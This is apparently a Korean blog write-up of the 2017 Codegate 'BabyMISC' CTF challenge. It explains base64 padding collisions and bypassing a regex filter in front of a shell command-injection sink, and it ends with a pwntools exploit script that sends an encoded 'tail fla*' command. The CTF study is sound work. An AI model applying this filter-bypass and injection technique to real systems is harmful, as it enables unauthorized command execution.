2017 codegate babymisc
1번 스테이지는 plain text는 똑같아야 하지만 cyper text는 다르고 길이는 똑같아야 한다.
base64는 8비트 문자를 6비트 문자로 표현한다. 8비트 문자 3개가 6비트 문자 4개가 되기 때문에 padding 처리가 필요하다. 이 과정에서 base64 collision이 발생한다. 위와 같이!
2번 스테이지는 다른 길이의 cyper text가 plain text는 똑같아야 한다. 그냥 뒤에 패딩 하나 더 넣어주면 된다.
요로코롬
스테이지 3은 regex 명령어들로 우리의 문자열을 검사하고 있고
밑에서는 위에 regex에 걸리지 않았을 시 system('echo -n {our_string} | base64 -d | sh')를 실행시켜 준다. more, head, tail, less 등등으로 우회할 수 있다.
from pwn import *
import base64
s = process('./BabyMISC')
s.recv()
s.sendline('TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oih=')
s.recv()
s.sendline('TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oih=')
s.sendline('TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oih==')
s.recv()
s.sendline(base64.b64encode('tail fla*'))
s.interactive()
'system > writeup' 카테고리의 다른 글
2017 codegate messenger (0) | 2019.01.07 |
---|---|
2017 codegate hunting (0) | 2019.01.06 |
pwnable.tw start (0) | 2019.01.05 |
2017 codegate babypwn (0) | 2019.01.04 |
2014 plaidCTF ezhp (0) | 2019.01.04 |